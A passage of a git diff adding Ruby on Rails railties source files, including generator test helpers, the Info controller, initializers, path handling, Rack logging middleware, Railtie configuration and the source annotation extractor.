+ # assert_no_file "config/database.yml"
+ # end
+ # end
+ #
+ # You can provide a configuration hash as second argument. This method returns the output
+ # printed by the generator.
+ def run_generator(args=self.default_arguments, config={})
+ capture(:stdout) do
+ args += ['--skip-bundle'] unless args.include? '--dev'
+ self.generator_class.start(args, config.reverse_merge(destination_root: destination_root))
+ end
+ end
+
+ # Instantiate the generator.
+ def generator(args=self.default_arguments, options={}, config={})
+ @generator ||= self.generator_class.new(args, options, config.reverse_merge(destination_root: destination_root))
+ end
+
+ # Create a Rails::Generators::GeneratedAttribute by supplying the
+ # attribute type and, optionally, the attribute name:
+ #
+ # create_generated_attribute(:string, 'name')
+ def create_generated_attribute(attribute_type, name = 'test', index = nil)
+ Rails::Generators::GeneratedAttribute.parse([name, attribute_type, index].compact.join(':'))
+ end
+
+ protected
+
+ def destination_root_is_set? # :nodoc:
+ raise "You need to configure your Rails::Generators::TestCase destination root." unless destination_root
+ end
+
+ def ensure_current_path # :nodoc:
+ cd current_path
+ end
+
+ def prepare_destination # :nodoc:
+ rm_rf(destination_root)
+ mkdir_p(destination_root)
+ end
+
+ def migration_file_name(relative) # :nodoc:
+ absolute = File.expand_path(relative, destination_root)
+ dirname, file_name = File.dirname(absolute), File.basename(absolute).sub(/\.rb$/, '')
+ Dir.glob("#{dirname}/[0-9]*_*.rb").grep(/\d+_#{file_name}.rb$/).first
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/testing/setup_and_teardown.rb b/railties/lib/rails/generators/testing/setup_and_teardown.rb
new file mode 100644
index 0000000..73102a2
--- /dev/null
+++ b/railties/lib/rails/generators/testing/setup_and_teardown.rb
@@ -0,0 +1,18 @@
+module Rails
+ module Generators
+ module Testing
+ module SetupAndTeardown
+ def setup # :nodoc:
+ destination_root_is_set?
+ ensure_current_path
+ super
+ end
+
+ def teardown # :nodoc:
+ ensure_current_path
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/info.rb b/railties/lib/rails/info.rb
new file mode 100644
index 0000000..f06ce65
--- /dev/null
+++ b/railties/lib/rails/info.rb
@@ -0,0 +1,116 @@
+require "cgi"
+
+module Rails
+ module Info
+ mattr_accessor :properties
+ class << (@@properties = [])
+ def names
+ map {|val| val.first }
+ end
+
+ def value_for(property_name)
+ if property = assoc(property_name)
+ property.last
+ end
+ end
+ end
+
+ class << self #:nodoc:
+ def property(name, value = nil)
+ value ||= yield
+ properties << [name, value] if value
+ rescue Exception
+ end
+
+ def frameworks
+ %w( active_record action_pack action_mailer active_support )
+ end
+
+ def framework_version(framework)
+ if Object.const_defined?(framework.classify)
+ require "#{framework}/version"
+ framework.classify.constantize.version.to_s
+ end
+ end
+
+ def to_s
+ column_width = properties.names.map {|name| name.length}.max
+ info = properties.map do |name, value|
+ value = value.join(", ") if value.is_a?(Array)
+ "%-#{column_width}s %s" % [name, value]
+ end
+ info.unshift "About your application's environment"
+ info * "\n"
+ end
+
+ alias inspect to_s
+
+ def to_html
+ '<table>'.tap do |table|
+ properties.each do |(name, value)|
+ table << %(<tr><td class="name">#{CGI.escapeHTML(name.to_s)}</td>)
+ formatted_value = if value.kind_of?(Array)
+ "<ul>" + value.map { |v| "<li>#{CGI.escapeHTML(v.to_s)}</li>" }.join + "</ul>"
+ else
+ CGI.escapeHTML(value.to_s)
+ end
+ table << %(<td class="value">#{formatted_value}</td></tr>)
+ end
+ table << '</table>'
+ end
+ end
+ end
+
+ # The Ruby version and platform, e.g. "1.8.2 (powerpc-darwin8.2.0)".
+ property 'Ruby version', "#{RUBY_VERSION} (#{RUBY_PLATFORM})"
+
+ # The RubyGems version, if it's installed.
+ property 'RubyGems version' do
+ Gem::RubyGemsVersion
+ end
+
+ property 'Rack version' do
+ ::Rack.release
+ end
+
+ # The Rails version.
+ property 'Rails version' do
+ Rails.version.to_s
+ end
+
+ property 'JavaScript Runtime' do
+ ExecJS.runtime.name
+ end
+
+ # Versions of each Rails framework (Active Record, Action Pack,
+ # Action Mailer, and Active Support).
+ frameworks.each do |framework|
+ property "#{framework.titlecase} version" do
+ framework_version(framework)
+ end
+ end
+
+ property 'Middleware' do
+ Rails.configuration.middleware.map(&:inspect)
+ end
+
+ # The application's location on the filesystem.
+ property 'Application root' do
+ File.expand_path(Rails.root)
+ end
+
+ # The current Rails environment (development, test, or production).
+ property 'Environment' do
+ Rails.env
+ end
+
+ # The name of the database adapter for the current environment.
+ property 'Database adapter' do
+ ActiveRecord::Base.configurations[Rails.env]['adapter']
+ end
+
+ property 'Database schema version' do
+ ActiveRecord::Migrator.current_version rescue nil
+ end
+ end
+end
diff --git a/railties/lib/rails/info_controller.rb b/railties/lib/rails/info_controller.rb
new file mode 100644
index 0000000..fa5668a
--- /dev/null
+++ b/railties/lib/rails/info_controller.rb
@@ -0,0 +1,33 @@
+require 'action_dispatch/routing/inspector'
+
+class Rails::InfoController < ActionController::Base # :nodoc:
+ self.view_paths = File.expand_path('../templates', __FILE__)
+ prepend_view_path ActionDispatch::DebugExceptions::RESCUES_TEMPLATE_PATH
+ layout -> { request.xhr? ? nil : 'application' }
+
+ before_filter :require_local!
+
+ def index
+ redirect_to action: :routes
+ end
+
+ def properties
+ @info = Rails::Info.to_html
+ end
+
+ def routes
+ @routes_inspector = ActionDispatch::Routing::RoutesInspector.new(_routes.routes)
+ end
+
+ protected
+
+ def require_local!
+ unless local_request?
+ render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden
+ end
+ end
+
+ def local_request?
+ Rails.application.config.consider_all_requests_local || request.local?
+ end
+end
diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb
new file mode 100644
index 0000000..1a0b6d1
--- /dev/null
+++ b/railties/lib/rails/initializable.rb
@@ -0,0 +1,89 @@
+require 'tsort'
+
+module Rails
+ module Initializable
+ def self.included(base) #:nodoc:
+ base.extend ClassMethods
+ end
+
+ class Initializer
+ attr_reader :name, :block
+
+ def initialize(name, context, options, &block)
+ options[:group] ||= :default
+ @name, @context, @options, @block = name, context, options, block
+ end
+
+ def before
+ @options[:before]
+ end
+
+ def after
+ @options[:after]
+ end
+
+ def belongs_to?(group)
+ @options[:group] == group || @options[:group] == :all
+ end
+
+ def run(*args)
+ @context.instance_exec(*args, &block)
+ end
+
+ def bind(context)
+ return self if @context
+ Initializer.new(@name, context, @options, &block)
+ end
+ end
+
+ class Collection < Array
+ include TSort
+
+ alias :tsort_each_node :each
+ def tsort_each_child(initializer, &block)
+ select { |i| i.before == initializer.name || i.name == initializer.after }.each(&block)
+ end
+
+ def +(other)
+ Collection.new(to_a + other.to_a)
+ end
+ end
+
+ def run_initializers(group=:default, *args)
+ return if instance_variable_defined?(:@ran)
+ initializers.tsort_each do |initializer|
+ initializer.run(*args) if initializer.belongs_to?(group)
+ end
+ @ran = true
+ end
+
+ def initializers
+ @initializers ||= self.class.initializers_for(self)
+ end
+
+ module ClassMethods
+ def initializers
+ @initializers ||= Collection.new
+ end
+
+ def initializers_chain
+ initializers = Collection.new
+ ancestors.reverse_each do |klass|
+ next unless klass.respond_to?(:initializers)
+ initializers = initializers + klass.initializers
+ end
+ initializers
+ end
+
+ def initializers_for(binding)
+ Collection.new(initializers_chain.map { |i| i.bind(binding) })
+ end
+
+ def initializer(name, opts = {}, &blk)
+ raise ArgumentError, "A block must be passed when defining an initializer" unless blk
+ opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] }
+ initializers << Initializer.new(name, nil, opts, &blk)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb
new file mode 100644
index 0000000..de6795e
--- /dev/null
+++ b/railties/lib/rails/paths.rb
@@ -0,0 +1,216 @@
+module Rails
+ module Paths
+ # This object is an extended hash that behaves as root of the <tt>Rails::Paths</tt> system.
+ # It allows you to collect information about how you want to structure your application
+ # paths by a Hash like API. It requires you to give a physical path on initialization.
+ #
+ # root = Root.new "/rails"
+ # root.add "app/controllers", eager_load: true
+ #
+ # The command above creates a new root object and add "app/controllers" as a path.
+ # This means we can get a <tt>Rails::Paths::Path</tt> object back like below:
+ #
+ # path = root["app/controllers"]
+ # path.eager_load? # => true
+ # path.is_a?(Rails::Paths::Path) # => true
+ #
+ # The +Path+ object is simply an enumerable and allows you to easily add extra paths:
+ #
+ # path.is_a?(Enumerable) # => true
+ # path.to_ary.inspect # => ["app/controllers"]
+ #
+ # path << "lib/controllers"
+ # path.to_ary.inspect # => ["app/controllers", "lib/controllers"]
+ #
+ # Notice that when you add a path using +add+, the path object created already
+ # contains the path with the same path value given to +add+. In some situations,
+ # you may not want this behavior, so you can give :with as option.
+ #
+ # root.add "config/routes", with: "config/routes.rb"
+ # root["config/routes"].inspect # => ["config/routes.rb"]
+ #
+ # The +add+ method accepts the following options as arguments:
+ # eager_load, autoload, autoload_once and glob.
+ #
+ # Finally, the +Path+ object also provides a few helpers:
+ #
+ # root = Root.new "/rails"
+ # root.add "app/controllers"
+ #
+ # root["app/controllers"].expanded # => ["/rails/app/controllers"]
+ # root["app/controllers"].existent # => ["/rails/app/controllers"]
+ #
+ # Check the <tt>Rails::Paths::Path</tt> documentation for more information.
+ class Root
+ attr_accessor :path
+
+ def initialize(path)
+ @current = nil
+ @path = path
+ @root = {}
+ end
+
+ def []=(path, value)
+ glob = self[path] ? self[path].glob : nil
+ add(path, with: value, glob: glob)
+ end
+
+ def add(path, options = {})
+ with = Array(options.fetch(:with, path))
+ @root[path] = Path.new(self, path, with, options)
+ end
+
+ def [](path)
+ @root[path]
+ end
+
+ def values
+ @root.values
+ end
+
+ def keys
+ @root.keys
+ end
+
+ def values_at(*list)
+ @root.values_at(*list)
+ end
+
+ def all_paths
+ values.tap { |v| v.uniq! }
+ end
+
+ def autoload_once
+ filter_by(:autoload_once?)
+ end
+
+ def eager_load
+ filter_by(:eager_load?)
+ end
+
+ def autoload_paths
+ filter_by(:autoload?)
+ end
+
+ def load_paths
+ filter_by(:load_path?)
+ end
+
+ protected
+
+ def filter_by(constraint)
+ all = []
+ all_paths.each do |path|
+ if path.send(constraint)
+ paths = path.existent
+ paths -= path.children.map { |p| p.send(constraint) ? [] : p.existent }.flatten
+ all.concat(paths)
+ end
+ end
+ all.uniq!
+ all
+ end
+ end
+
+ class Path
+ include Enumerable
+
+ attr_accessor :glob
+
+ def initialize(root, current, paths, options = {})
+ @paths = paths
+ @current = current
+ @root = root
+ @glob = options[:glob]
+
+ options[:autoload_once] ? autoload_once! : skip_autoload_once!
+ options[:eager_load] ? eager_load! : skip_eager_load!
+ options[:autoload] ? autoload! : skip_autoload!
+ options[:load_path] ? load_path! : skip_load_path!
+ end
+
+ def children
+ keys = @root.keys.select { |k| k.include?(@current) }
+ keys.delete(@current)
+ @root.values_at(*keys.sort)
+ end
+
+ def first
+ expanded.first
+ end
+
+ def last
+ expanded.last
+ end
+
+ %w(autoload_once eager_load autoload load_path).each do |m|
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def #{m}! # def eager_load!
+ @#{m} = true # @eager_load = true
+ end # end
+ #
+ def skip_#{m}! # def skip_eager_load!
+ @#{m} = false # @eager_load = false
+ end # end
+ #
+ def #{m}? # def eager_load?
+ @#{m} # @eager_load
+ end # end
+ RUBY
+ end
+
+ def each(&block)
+ @paths.each(&block)
+ end
+
+ def <<(path)
+ @paths << path
+ end
+ alias :push :<<
+
+ def concat(paths)
+ @paths.concat paths
+ end
+
+ def unshift(path)
+ @paths.unshift path
+ end
+
+ def to_ary
+ @paths
+ end
+
+ # Expands all paths against the root and return all unique values.
+ def expanded
+ raise "You need to set a path root" unless @root.path
+ result = []
+
+ each do |p|
+ path = File.expand_path(p, @root.path)
+
+ if @glob && File.directory?(path)
+ Dir.chdir(path) do
+ result.concat(Dir.glob(@glob).map { |file| File.join path, file }.sort)
+ end
+ else
+ result << path
+ end
+ end
+
+ result.uniq!
+ result
+ end
+
+ # Returns all expanded paths but only if they exist in the filesystem.
+ def existent
+ expanded.select { |f| File.exists?(f) }
+ end
+
+ def existent_directories
+ expanded.select { |d| File.directory?(d) }
+ end
+
+ alias to_a expanded
+ end
+ end
+end
diff --git a/railties/lib/rails/rack.rb b/railties/lib/rails/rack.rb
new file mode 100644
index 0000000..d1ee96f
--- /dev/null
+++ b/railties/lib/rails/rack.rb
@@ -0,0 +1,7 @@
+module Rails
+ module Rack
+ autoload :Debugger, "rails/rack/debugger"
+ autoload :Logger, "rails/rack/logger"
+ autoload :LogTailer, "rails/rack/log_tailer"
+ end
+end
diff --git a/railties/lib/rails/rack/debugger.rb b/railties/lib/rails/rack/debugger.rb
new file mode 100644
index 0000000..902361c
--- /dev/null
+++ b/railties/lib/rails/rack/debugger.rb
@@ -0,0 +1,24 @@
+module Rails
+ module Rack
+ class Debugger
+ def initialize(app)
+ @app = app
+
+ ARGV.clear # clear ARGV so that rails server options aren't passed to IRB
+
+ require 'debugger'
+
+ ::Debugger.start
+ ::Debugger.settings[:autoeval] = true if ::Debugger.respond_to?(:settings)
+ puts "=> Debugger enabled"
+ rescue LoadError
+ puts "You're missing the 'debugger' gem. Add it to your Gemfile, bundle, and try again."
+ exit
+ end
+
+ def call(env)
+ @app.call(env)
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/rack/log_tailer.rb b/railties/lib/rails/rack/log_tailer.rb
new file mode 100644
index 0000000..18f22e8
--- /dev/null
+++ b/railties/lib/rails/rack/log_tailer.rb
@@ -0,0 +1,34 @@
+module Rails
+ module Rack
+ class LogTailer
+ def initialize(app, log = nil)
+ @app = app
+
+ path = Pathname.new(log || "#{::File.expand_path(Rails.root)}/log/#{Rails.env}.log").cleanpath
+
+ @cursor = @file = nil
+ if ::File.exists?(path)
+ @cursor = ::File.size(path)
+ @file = ::File.open(path, 'r')
+ end
+ end
+
+ def call(env)
+ response = @app.call(env)
+ tail!
+ response
+ end
+
+ def tail!
+ return unless @cursor
+ @file.seek @cursor
+
+ unless @file.eof?
+ contents = @file.read
+ @cursor = @file.tell
+ $stdout.print contents
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/rack/logger.rb b/railties/lib/rails/rack/logger.rb
new file mode 100644
index 0000000..6ed6722
--- /dev/null
+++ b/railties/lib/rails/rack/logger.rb
@@ -0,0 +1,85 @@
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/object/blank'
+require 'active_support/log_subscriber'
+require 'action_dispatch/http/request'
+require 'rack/body_proxy'
+
+module Rails
+ module Rack
+ # Sets log tags, logs the request, calls the app, and flushes the logs.
+ class Logger < ActiveSupport::LogSubscriber
+ def initialize(app, taggers = nil)
+ @app = app
+ @taggers = taggers || []
+ @instrumenter = ActiveSupport::Notifications.instrumenter
+ end
+
+ def call(env)
+ request = ActionDispatch::Request.new(env)
+
+ if logger.respond_to?(:tagged)
+ logger.tagged(compute_tags(request)) { call_app(request, env) }
+ else
+ call_app(request, env)
+ end
+ end
+
+ protected
+
+ def call_app(request, env)
+ # Put some space between requests in development logs.
+ if development?
+ logger.debug ''
+ logger.debug ''
+ end
+
+ @instrumenter.start 'action_dispatch.request', request: request
+ logger.info started_request_message(request)
+ resp = @app.call(env)
+ resp[2] = ::Rack::BodyProxy.new(resp[2]) { finish(request) }
+ resp
+ rescue
+ finish(request)
+ raise
+ ensure
+ ActiveSupport::LogSubscriber.flush_all!
+ end
+
+ # Started GET "/session/new" for 127.0.0.1 at 2012-09-26 14:51:42 -0700
+ def started_request_message(request)
+ 'Started %s "%s" for %s at %s' % [
+ request.request_method,
+ request.filtered_path,
+ request.ip,
+ Time.now.to_default_s ]
+ end
+
+ def compute_tags(request)
+ @taggers.collect do |tag|
+ case tag
+ when Proc
+ tag.call(request)
+ when Symbol
+ request.send(tag)
+ else
+ tag
+ end
+ end
+ end
+
+ private
+
+ def finish(request)
+ @instrumenter.finish 'action_dispatch.request', request: request
+ end
+
+ def development?
+ Rails.env.development?
+ end
+
+ def logger
+ Rails.logger
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb
new file mode 100644
index 0000000..9437e9c
--- /dev/null
+++ b/railties/lib/rails/railtie.rb
@@ -0,0 +1,212 @@
+require 'rails/initializable'
+require 'rails/configuration'
+require 'active_support/inflector'
+require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/module/delegation'
+
+module Rails
+ # Railtie is the core of the Rails framework and provides several hooks to extend
+ # Rails and/or modify the initialization process.
+ #
+ # Every major component of Rails (Action Mailer, Action Controller,
+ # Action View and Active Record) is a Railtie. Each of
+ # them is responsible for their own initialization. This makes Rails itself
+ # absent of any component hooks, allowing other components to be used in
+ # place of any of the Rails defaults.
+ #
+ # Developing a Rails extension does _not_ require any implementation of
+ # Railtie, but if you need to interact with the Rails framework during
+ # or after boot, then Railtie is needed.
+ #
+ # For example, an extension doing any of the following would require Railtie:
+ #
+ # * creating initializers
+ # * configuring a Rails framework for the application, like setting a generator
+ # * +adding config.*+ keys to the environment
+ # * setting up a subscriber with ActiveSupport::Notifications
+ # * adding rake tasks
+ #
+ # == Creating your Railtie
+ #
+ # To extend Rails using Railtie, create a Railtie class which inherits
+ # from Rails::Railtie within your extension's namespace. This class must be
+ # loaded during the Rails boot process.
+ #
+ # The following example demonstrates an extension which can be used with or without Rails.
+ #
+ # # lib/my_gem/railtie.rb
+ # module MyGem
+ # class Railtie < Rails::Railtie
+ # end
+ # end
+ #
+ # # lib/my_gem.rb
+ # require 'my_gem/railtie' if defined?(Rails)
+ #
+ # == Initializers
+ #
+ # To add an initialization step from your Railtie to Rails boot process, you just need
+ # to create an initializer block:
+ #
+ # class MyRailtie < Rails::Railtie
+ # initializer "my_railtie.configure_rails_initialization" do
+ # # some initialization behavior
+ # end
+ # end
+ #
+ # If specified, the block can also receive the application object, in case you
+ # need to access some application specific configuration, like middleware:
+ #
+ # class MyRailtie < Rails::Railtie
+ # initializer "my_railtie.configure_rails_initialization" do |app|
+ # app.middleware.use MyRailtie::Middleware
+ # end
+ # end
+ #
+ # Finally, you can also pass :before and :after as option to initializer, in case
+ # you want to couple it with a specific step in the initialization process.
+ #
+ # == Configuration
+ #
+ # Inside the Railtie class, you can access a config object which contains configuration
+ # shared by all railties and the application:
+ #
+ # class MyRailtie < Rails::Railtie
+ # # Customize the ORM
+ # config.app_generators.orm :my_railtie_orm
+ #
+ # # Add a to_prepare block which is executed once in production
+ # # and before each request in development
+ # config.to_prepare do
+ # MyRailtie.setup!
+ # end
+ # end
+ #
+ # == Loading rake tasks and generators
+ #
+ # If your railtie has rake tasks, you can tell Rails to load them through the method
+ # rake_tasks:
+ #
+ # class MyRailtie < Rails::Railtie
+ # rake_tasks do
+ # load "path/to/my_railtie.tasks"
+ # end
+ # end
+ #
+ # By default, Rails load generators from your load path. However, if you want to place
+ # your generators at a different location, you can specify in your Railtie a block which
+ # will load them during normal generators lookup:
+ #
+ # class MyRailtie < Rails::Railtie
+ # generators do
+ # require "path/to/my_railtie_generator"
+ # end
+ # end
+ #
+ # == Application and Engine
+ #
+ # A Rails::Engine is nothing more than a Railtie with some initializers already set.
+ # And since Rails::Application is an engine, the same configuration described here
+ # can be used in both.
+ #
+ # Be sure to look at the documentation of those specific classes for more information.
+ #
+ class Railtie
+ autoload :Configurable, "rails/railtie/configurable"
+ autoload :Configuration, "rails/railtie/configuration"
+
+ include Initializable
+
+ ABSTRACT_RAILTIES = %w(Rails::Railtie Rails::Engine Rails::Application)
+
+ class << self
+ private :new
+
+ def subclasses
+ @subclasses ||= []
+ end
+
+ def inherited(base)
+ unless base.abstract_railtie?
+ base.send(:include, Railtie::Configurable)
+ subclasses << base
+ end
+ end
+
+ def rake_tasks(&blk)
+ @rake_tasks ||= []
+ @rake_tasks << blk if blk
+ @rake_tasks
+ end
+
+ def console(&blk)
+ @load_console ||= []
+ @load_console << blk if blk
+ @load_console
+ end
+
+ def runner(&blk)
+ @load_runner ||= []
+ @load_runner << blk if blk
+ @load_runner
+ end
+
+ def generators(&blk)
+ @generators ||= []
+ @generators << blk if blk
+ @generators
+ end
+
+ def abstract_railtie?
+ ABSTRACT_RAILTIES.include?(name)
+ end
+
+ def railtie_name(name = nil)
+ @railtie_name = name.to_s if name
+ @railtie_name ||= generate_railtie_name(self.name)
+ end
+
+ protected
+ def generate_railtie_name(class_or_module)
+ ActiveSupport::Inflector.underscore(class_or_module).tr("/", "_")
+ end
+ end
+
+ delegate :railtie_name, to: :class
+
+ def config
+ @config ||= Railtie::Configuration.new
+ end
+
+ def railtie_namespace
+ @railtie_namespace ||= self.class.parents.detect { |n| n.respond_to?(:railtie_namespace) }
+ end
+
+ protected
+
+ def run_console_blocks(app) #:nodoc:
+ self.class.console.each { |block| block.call(app) }
+ end
+
+ def run_generators_blocks(app) #:nodoc:
+ self.class.generators.each { |block| block.call(app) }
+ end
+
+ def run_runner_blocks(app) #:nodoc:
+ self.class.runner.each { |block| block.call(app) }
+ end
+
+ def run_tasks_blocks(app) #:nodoc:
+ extend Rake::DSL
+ self.class.rake_tasks.each { |block| instance_exec(app, &block) }
+
+ # Load also tasks from all superclasses
+ klass = self.class.superclass
+
+ while klass.respond_to?(:rake_tasks)
+ klass.rake_tasks.each { |t| instance_exec(app, &t) }
+ klass = klass.superclass
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/railtie/configurable.rb b/railties/lib/rails/railtie/configurable.rb
new file mode 100644
index 0000000..1572af0
--- /dev/null
+++ b/railties/lib/rails/railtie/configurable.rb
@@ -0,0 +1,35 @@
+require 'active_support/concern'
+
+module Rails
+ class Railtie
+ module Configurable
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ delegate :config, to: :instance
+
+ def inherited(base)
+ raise "You cannot inherit from a #{self.superclass.name} child"
+ end
+
+ def instance
+ @instance ||= new
+ end
+
+ def respond_to?(*args)
+ super || instance.respond_to?(*args)
+ end
+
+ def configure(&block)
+ class_eval(&block)
+ end
+
+ protected
+
+ def method_missing(*args, &block)
+ instance.send(*args, &block)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/railtie/configuration.rb b/railties/lib/rails/railtie/configuration.rb
new file mode 100644
index 0000000..0cbbf04
--- /dev/null
+++ b/railties/lib/rails/railtie/configuration.rb
@@ -0,0 +1,100 @@
+require 'rails/configuration'
+
+module Rails
+ class Railtie
+ class Configuration
+ def initialize
+ @@options ||= {}
+ end
+
+ # Expose the eager_load_namespaces at "module" level for convenience.
+ def self.eager_load_namespaces #:nodoc:
+ @@eager_load_namespaces ||= []
+ end
+
+ # All namespaces that are eager loaded
+ def eager_load_namespaces
+ @@eager_load_namespaces ||= []
+ end
+
+ # Add files that should be watched for change.
+ def watchable_files
+ @@watchable_files ||= []
+ end
+
+ # Add directories that should be watched for change.
+ # The key of the hashes should be directories and the values should
+ # be an array of extensions to match in each directory.
+ def watchable_dirs
+ @@watchable_dirs ||= {}
+ end
+
+ # This allows you to modify the application's middlewares from Engines.
+ #
+ # All operations you run on the app_middleware will be replayed on the
+ # application once it is defined and the default_middlewares are
+ # created
+ def app_middleware
+ @@app_middleware ||= Rails::Configuration::MiddlewareStackProxy.new
+ end
+
+ # This allows you to modify application's generators from Railties.
+ #
+ # Values set on app_generators will become defaults for application, unless
+ # application overwrites them.
+ def app_generators
+ @@app_generators ||= Rails::Configuration::Generators.new
+ yield(@@app_generators) if block_given?
+ @@app_generators
+ end
+
+ # First configurable block to run. Called before any initializers are run.
+ def before_configuration(&block)
+ ActiveSupport.on_load(:before_configuration, yield: true, &block)
+ end
+
+ # Third configurable block to run. Does not run if +config.cache_classes+
+ # set to false.
+ def before_eager_load(&block)
+ ActiveSupport.on_load(:before_eager_load, yield: true, &block)
+ end
+
+ # Second configurable block to run. Called before frameworks initialize.
+ def before_initialize(&block)
+ ActiveSupport.on_load(:before_initialize, yield: true, &block)
+ end
+
+ # Last configurable block to run. Called after frameworks initialize.
+ def after_initialize(&block)
+ ActiveSupport.on_load(:after_initialize, yield: true, &block)
+ end
+
+ # Array of callbacks defined by #to_prepare.
+ def to_prepare_blocks
+ @@to_prepare_blocks ||= []
+ end
+
+ # Defines generic callbacks to run before #after_initialize. Useful for
+ # Rails::Railtie subclasses.
+ def to_prepare(&blk)
+ to_prepare_blocks << blk if blk
+ end
+
+ def respond_to?(name)
+ super || @@options.key?(name.to_sym)
+ end
+
+ private
+
+ def method_missing(name, *args, &blk)
+ if name.to_s =~ /=$/
+ @@options[$`.to_sym] = args.first
+ elsif @@options.key?(name)
+ @@options[name]
+ else
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/ruby_version_check.rb b/railties/lib/rails/ruby_version_check.rb
new file mode 100644
index 0000000..3b7f358
--- /dev/null
+++ b/railties/lib/rails/ruby_version_check.rb
@@ -0,0 +1,13 @@
+if RUBY_VERSION < '1.9.3'
+ desc = defined?(RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : "ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE})"
+ abort <<-end_message
+
+ Rails 4 prefers to run on Ruby 2.0.
+
+ You're running
+ #{desc}
+
+ Please upgrade to Ruby 1.9.3 or newer to continue.
+
+ end_message
+end
diff --git a/railties/lib/rails/rubyprof_ext.rb b/railties/lib/rails/rubyprof_ext.rb
new file mode 100644
index 0000000..017eba3
--- /dev/null
+++ b/railties/lib/rails/rubyprof_ext.rb
@@ -0,0 +1,35 @@
+require 'prof'
+
+module Prof #:nodoc:
+ # Adapted from Shugo Maeda's unprof.rb
+ def self.print_profile(results, io = $stderr)
+ total = results.detect { |i|
+ i.method_class.nil? && i.method_id == :"#toplevel"
+ }.total_time
+ total = 0.001 if total < 0.001
+
+ io.puts " %% cumulative self self total"
+ io.puts " time seconds seconds calls ms/call ms/call name"
+
+ sum = 0.0
+ results.each do |r|
+ sum += r.self_time
+
+ name = if r.method_class.nil?
+ r.method_id.to_s
+ elsif r.method_class.is_a?(Class)
+ "#{r.method_class}##{r.method_id}"
+ else
+ "#{r.method_class}.#{r.method_id}"
+ end
+ io.printf "%6.2f %8.3f %8.3f %8d %8.2f %8.2f %s\n",
+ r.self_time / total * 100,
+ sum,
+ r.self_time,
+ r.count,
+ r.self_time * 1000 / r.count,
+ r.total_time * 1000 / r.count,
+ name
+ end
+ end
+end
diff --git a/railties/lib/rails/source_annotation_extractor.rb b/railties/lib/rails/source_annotation_extractor.rb
new file mode 100644
index 0000000..2cbb0a4
--- /dev/null
+++ b/railties/lib/rails/source_annotation_extractor.rb
@@ -0,0 +1,127 @@
+# Implements the logic behind the rake tasks for annotations like
+#
+# rake notes
+# rake notes:optimize
+#
+# and friends. See <tt>rake -T notes</tt> and <tt>railties/lib/tasks/annotations.rake</tt>.
+#
+# Annotation objects are triplets <tt>:line</tt>, <tt>:tag</tt>, <tt>:text</tt> that
+# represent the line where the annotation lives, its tag, and its text. Note
+# the filename is not stored.
+#
+# Annotations are looked for in comments and modulus whitespace they have to
+# start with the tag optionally followed by a colon. Everything up to the end
+# of the line (or closing ERB comment tag) is considered to be their text.
+class SourceAnnotationExtractor
+ class Annotation < Struct.new(:line, :tag, :text)
+ def self.directories
+ @@directories ||= %w(app config db lib test) + (ENV['SOURCE_ANNOTATION_DIRECTORIES'] || '').split(',')
+ end
+
+ # Returns a representation of the annotation that looks like this:
+ #
+ # [126] [TODO] This algorithm is simple and clearly correct, make it faster.
+ #
+ # If +options+ has a flag <tt>:tag</tt> the tag is shown as in the example above.
+ # Otherwise the string contains just line and text.
+ def to_s(options={})
+ s = "[#{line.to_s.rjust(options[:indent])}] "
+ s << "[#{tag}] " if options[:tag]
+ s << text
+ end
+ end
+
+ # Prints all annotations with tag +tag+ under the root directories +app+,
+ # +config+, +db+, +lib+, and +test+ (recursively).
+ #
+ # Additional directories may be added using a comma-delimited list set using
+ # <tt>ENV['SOURCE_ANNOTATION_DIRECTORIES']</tt>.
+ #
+ # Directories may also be explicitly set using the <tt>:dirs</tt> key in +options+.
+ #
+ # SourceAnnotationExtractor.enumerate 'TODO|FIXME', dirs: %w(app lib), tag: true
+ #
+ # If +options+ has a <tt>:tag</tt> flag, it will be passed to each annotation's +to_s+.
+ #
+ # See <tt>#find_in</tt> for a list of file extensions that will be taken into account.
+ #
+ # This class method is the single entry point for the rake tasks.
+ def self.enumerate(tag, options={})
+ extractor = new(tag)
+ dirs = options.delete(:dirs) || Annotation.directories
+ extractor.display(extractor.find(dirs), options)
+ end
+
+ attr_reader :tag
+
+ def initialize(tag)
+ @tag = tag
+ end
+
+ # Returns a hash that maps filenames under +dirs+ (recursively) to arrays
+ # with their annotations.
+ def find(dirs)
+ dirs.inject({}) { |h, dir| h.update(find_in(dir)) }
+ end
+
+ # Returns a hash that maps filenames under +dir+ (recursively) to arrays
+ # with their annotations. Only files with annotations are included. Files
+ # with extension +.builder+, +.rb+, +.erb+, +.haml+, +.slim+, +.css+,
+ # +.scss+, +.js+, +.coffee+, and +.rake+
+ # are taken into account.
+ def find_in(dir)
+ results = {}
+
+ Dir.glob("#{dir}/*") do |item|
+ next if File.basename(item)[0] == ?.
+
+ if File.directory?(item)
+ results.update(find_in(item))
+ else
+ pattern =
+ case item
+ when /\.(builder|rb|coffee|rake)$/
+ /#\s*(#{tag}):?\s*(.*)$/
+ when /\.(css|scss|js)$/
+ /\/\/\s*(#{tag}):?\s*(.*)$/
+ when /\.erb$/
+ /<%\s*#\s*(#{tag}):?\s*(.*?)\s*%>/
+ when /\.haml$/
+ /-\s*#\s*(#{tag}):?\s*(.*)$/
+ when /\.slim$/
+ /\/\s*\s*(#{tag}):?\s*(.*)$/
+ else nil
+ end
+ results.update(extract_annotations_from(item, pattern)) if pattern
+ end
+ end
+
+ results
+ end
+
